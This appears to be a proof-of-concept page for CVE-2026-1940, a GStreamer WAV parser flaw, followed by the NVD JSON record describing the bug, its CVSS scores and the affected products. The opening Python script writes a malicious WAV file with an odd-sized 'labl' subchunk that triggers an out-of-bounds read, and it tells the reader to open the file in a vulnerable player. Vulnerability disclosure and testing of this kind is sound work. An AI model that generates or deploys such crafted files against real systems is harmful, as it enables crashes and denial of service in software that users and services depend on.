CVE-2026-1940

import struct # Generate a malicious WAV file to trigger CVE-2026-1940 # The vulnerability occurs when parsing 'adtl' chunks with odd sizes. def create_malicious_wav(filename): # RIFF header riff_header = b'RIFF' # Total file size (placeholder, will update) file_size = struct.pack('<I', 0) wave_format = b'WAVE' # fmt chunk (standard PCM) fmt_id = b'fmt ' fmt_size = struct.pack('<I', 16) fmt_data = struct.pack('<HHIIHH', 1, 1, 44100, 176400, 4, 16) # data chunk (empty) data_id = b'data' data_size = struct.pack('<I', 0) # LIST chunk containing 'adtl' # The parser looks for 'adtl' inside LIST chunks list_id = b'LIST' # Calculate size roughly list_content = b'adtl' # Malicious subchunk inside adtl # Using 'labl' (Label) chunk with an ODD size to trigger GST_ROUND_UP_2 subchunk_id = b'labl' subchunk_lsize = 1 # Odd number to trigger the rounding issue subchunk_size = struct.pack('<I', subchunk_lsize) subchunk_data = b'A' * subchunk_lsize list_content += subchunk_id + subchunk_size + subchunk_data list_size = struct.pack('<I', len(list_content)) # Assemble the file file_content = riff_header + file_size + wave_format file_content += fmt_id + fmt_size + fmt_data file_content += data_id + data_size file_content += list_id + list_size + list_content # Update total size (file size - 8 for RIFF header) total_size = struct.pack('<I', len(file_content) - 8) file_content = file_content[:4] + total_size + file_content[8:] with open(filename, 'wb') as f: f.write(file_content) print(f"[+] Malicious WAV file created: {filename}") print(f"[+] Try opening this file with a vulnerable version of GStreamer (e.g., using gst-play-1.0)") if __name__ == "__main__": create_malicious_wav('cve_2026_1940_poc.wav')

{"cve": {"id": "CVE-2026-1940", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:25.043", "lastModified": "2026-05-04T15:30:08.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An incomplete fix for CVE-2024-47778 allows an out-of-bounds read in gst_wavparse_adtl_chunk() function. The patch added a size validation check lsize + 8 > size, but it does not account for the GST_ROUND_UP_2(lsize) used in the actual offset calculation. When lsize is an odd number, the parser advances more bytes than validated, causing OOB read."}, {"lang": "es", "value": "Una solución incompleta para CVE-2024-47778 permite una lectura fuera de límites en la función gst_wavparse_adtl_chunk(). El parche añadió una comprobación de validación de tamaño lsize + 8 &gt; size, pero no tiene en cuenta el GST_ROUND_UP_2(lsize) utilizado en el cálculo real del desplazamiento. Cuando lsize es un número impar, el analizador avanza más bytes de los validados, provocando una lectura OOB."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freedesktop:gst-plugins-good:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A77F116D-9B57-44B4-8F86-C5BCF105C56E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.1", "matchCriteriaId": "1F1B75B8-0527-487E-8F53-A658F7A1E7A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:*", "matchCriteriaId": "46D69DCC-AE4D-4EA5-861C-D60951444C6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-1940", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2436932", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/issues/4854", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gstreamer.freedesktop.org/security/sa-2026-0001.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://security-tracker.debian.org/tracker/CVE-2026-1940", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}